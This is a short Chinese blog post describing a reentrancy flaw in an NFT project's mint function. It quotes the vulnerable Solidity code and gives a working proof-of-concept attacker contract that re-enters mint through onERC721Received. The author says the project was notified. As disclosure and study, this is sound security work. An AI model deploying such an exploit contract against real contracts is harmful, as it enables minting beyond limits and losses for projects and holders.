某项目mint 重入(已经通知项目方)
今天在群里看到有个nft的项目,于是分析一下。
主要的漏洞点是mint功能没有设置反重入攻击
function mint(uint256 _mintAmount) public payable {
uint256 supply = currentSupply;
require(_mintAmount > 0, "8HANABI:: Mint amount must be at least 1");
require(
supply + _mintAmount <= maxSupply,
"8HANABI:: Unable to mint amount, will exceed max supply. Try decreasing the quantity."
);
if (msg.sender != owner()) {
require(!_paused, "8HANABI:: Contract is paused.");
require(_allowlistPaused, "8HANABI:: Allowlist sale is ongoing.");
require(startingBlock > 0, "8HANABI:: Public sale start time has not been set.");
require(startingBlock < block.timestamp, "8HANABI:: Public sale has not started.");
require(
_mintAmount <= maxMintAmount,//10
"8HANABI:: Unable to mint amount, will exceed minting limit."
);
require(
msg.value >= getCurrentPrice() * _mintAmount,
"8HANABI:: Insufficient funds."
);
}
_safeMint(msg.sender, _mintAmount); // 确实可以重入,但是需要每次给钱
currentSupply += _mintAmount;
}
这里他是先safeMint
再currentSupply += _mintAmount;
写了个poc来验证
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";
interface IHANABI {
function mint(uint256 _mintAmount) external payable;
function currentSupply() external view returns (uint256);
}
contract HANABIReentrancy {
address addr;
uint256 i = 20;
uint256 price;
constructor(address _addr, uint256 _price) {
addr = _addr;
price = _price;
}
receive() external payable {}
function mintToken() public {
uint16 n = 1;
console.log("mint");
IHANABI(addr).mint{value: price}(n);
console.log(IHANABI(addr).currentSupply());
}
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) payable external returns (bytes4) {
i = i -1;
if (i != 0) {
mintToken();
}
return IERC721Receiver.onERC721Received.selector;
}
}
效果如下
通过discrod通知到项目方,于是白嫖到一个NFT
Last updated